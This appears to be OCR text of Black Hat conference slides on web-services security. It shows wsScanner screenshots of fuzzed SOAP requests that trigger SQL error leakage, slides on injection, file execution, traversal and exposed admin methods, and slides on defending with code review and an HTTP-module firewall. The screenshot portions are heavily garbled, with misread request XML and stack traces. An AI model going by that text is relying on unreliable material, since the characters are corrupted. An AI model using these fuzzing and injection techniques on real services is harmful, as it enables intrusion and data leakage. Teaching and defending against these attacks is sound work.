wsScanner

GoogleDizcovery  YulnerabilityS can |W5Fuzzer| LIDDIScanI
WS Access Point

WEDL End Paint Ikt /4192 168.36.5/ws/dvdadless. asms fwad

WSEnurm WS Proxy A5 Audit [NET] |

— Prosy

Listening Fart |EIE|EIEI Listen | tdethod |getProductinfa | lnwoke |

S0AF Reguest

Content-Type: textsml; charzet=utf-3
S0APACton: "http:/tempun. org/getProductinfo'
Hiost: 192 168.36.5

Content-Length: 317

Ewxpect: 100-continue

Connection: Keep-dlive

< uml wergion=""1.0" encoding=""utf-8" 7> <zoap: Envelope wming: soap="http: //schemas. smlzoap. org/zoaplenvelope’
wrnlneszi=""httpe A w3 org 2000 S<MLS chema-ingtance' kmine:ged=""http: /A wE org/ 2001 ML chema''s e
<z0ap:Bodyr < getProductinfo smine="http:/tempun. ongs = <idz "< Ads < AgetProduct nfoz < /soap Body: < /soap E nvelope: ﬂ

Mote S Prowy WS Ldit
’7 Reset Send | ’7

Properties Audit
S04F Respohze

I i T LT T e e e e T e P e e T e e poe e e o e T T e e e oy e L O =

Ilze a single space if neceszam.
Unclosed quatation mark befare the character string .
Line 1: Incokect syntax near .
at System.Data. SqlClient. S glConnection. OnErorS glE sception exception, Boolean breakConnection]
at Syztern. Diata SqiClient. 5 glinternalConnection. OnE o5 qIE ceptjon exception, Boolean breakConnection)
at Suztemn.Data. SqlClient. TdzParzer. ThrowE sceptiondnd' aming( T dzParzerStateObject state0hj)
at Suztem.Data. SglClient. TdzParzer. Run[RunBehavior runB ehavior, SglCommand cmdHandler, SqlD ataR eader dataStream,
BulkCopySimpleR esultS et bulk CopyHandler, TdsParserStateQbject stateObi) ;I

=k Coinbmre Dok = © Al hmint © Al b =D A oA e T mama amem b d ==k =00
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Fuzzing XML/JSON

B wsscanner o ] A |

GungIeDischeryl YilherabiityScan  WSFuzzer | LIDDIS::anl
WS Access Point

Target Host I'I 92168.36.5 IV Da pattern matching [regex)

Fuzz lnad ID:'\blueinfy-tuals'stﬁcann _I Pattern match |D:Hblueinfy-tnuls'stﬁcann _I

WS Fuzzing
Request

Content-Type: textwml; charzet=utf-8
SOAPAction: "hitp:/tempur. org/getProduct nfo”
Host: 192.168.36.5

Content-Length: 317

Expect: 100-cantinue

Connection: keep-dlive

< uml wersion="1.0" encoding="utf-8'"?: <zoap:Ervelope smine: soap="http: //zchemaz. sxmizoap.org/zoap/envelopes'
sl mai=""https S Aeana w3 0rg 2007 S<MLS chema-ingtance” sming: xed="http:/ A w3 org/ 2001 AMLS chema''s
<zoap:Body: <getProductinfo xmins="http: /Mtempun. org > <id> #iuzei< Aid> < /getProductinfor < /z0ap: Body: < /soap.Erveloper

-

Mote
Fuzz |
Responzes

Zache-Cantral: private ;I
Content-Type: text/xml; charset=utf-3
Content-Length: 2147

<vuml version="1.0" encoding="utf-8"7 > <soap:Envelope xmins:soap="http:j/schemas. xmlsoap.org/soap/envelope™
wemlns s osi="htkps v w3, 0rgf2001 fXMLSchema-instance” xminsepd="htkp: v, w3, orgf2001 f5MLSchema" =
«<s0ap:Body = <soap:Fault= <faultcode =s0ap: Server =:,|'Fau|tcu:ude:>§aultstring>

Syskern, Web,Services . Protocols, SoapException: Server was unable to process request, ---gat;

Syskemn, Data, 3qlClient, SqlException: Cannok use empky object or colurmn names, Use a single space if necessary.
IUnclosed quotation mark before the character string

line 1: Tnrorrert svnbay near ™.
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Injection Flaws

Web Services methods are consuming
parameters coming from end users.

It is possible to inject malicious characters
Into the stream.

It can break Web Services code and send
faultsting back to an attacker

Various injections possible — SQL and
XPATH
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Malicious File Execution

“e Malicious command can be Injected
n
" through the parameter.

= WS supports attachments as well and
* that can lead to uploading a file.

_» This can give remote command
execution capability to the attacker.
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Insecure Direct Object
Reference

Injecting characters to break file system
sequences.

Faultcode spits out internal information if not

protected.
Customized error shows the file refernces.

Access to internal file and full traversal to
directories

Inspecting methods and parameters in the
profile stage can help.
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Information Leakage and
Improper Error Handling

SOAP based Web Services throws faultcode
and faultstrings back to the client.

Information can be embedded In it.

It try/catch is not well implemented then
default error from .NET framework.

Published vulnerabillities with leakage
Information providing references to file, ldap,
etc.
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Faillure to Restrict URL
ACCessS

e In Web Services instead of URL — methods.

WSDL scanning and disclosures can weaken
the Services.

Some internal methods are out in public.
Admin APIs can be accessed.

These internal methods can be used to attack
Web Services.
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Defending Web 2.0
with WAF & Code Review
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Code Analysis for Web 2.0

Scanning the code base.
|dentifying linkages.
Method signatures and inputs.

Looking for various patterns for SQL, LDAP,
XPATH, File access etc.

Checking validation on them.
Code walking and tracing the base - Key
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Content filtering with 2.0

Regqular firewall will not work

Content filtering on HTTP will not work either
since it is SOAP/JSON over HTTP/HTTPS

SOAP/JOSN level filtering and monitoring
would require

ISAPI level filtering Is essential

SOAP/JSON content filtering through
IHTTPModule
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Web Application
Firewall
& IDS
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= |[HTTPModule based Firewall

"e Code walkthrough — Events and Hooks

"« Loading the DLL
" Setting up the rules

= * Up and running!
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Conclusion

Web 2.0 bringing new challenges

Needs to adopt new methodologies for
scanning

Attacks and entry points are scattered
and multiple

Ajax and SOA are key components

WAF and Code review are important
aspects for Web 2.0 defense
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Thanks!
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http://shreeraj.blogspot.com
shreeraj@blueinfy.com
http://www.blueinfy.com

Black Hat Briefings



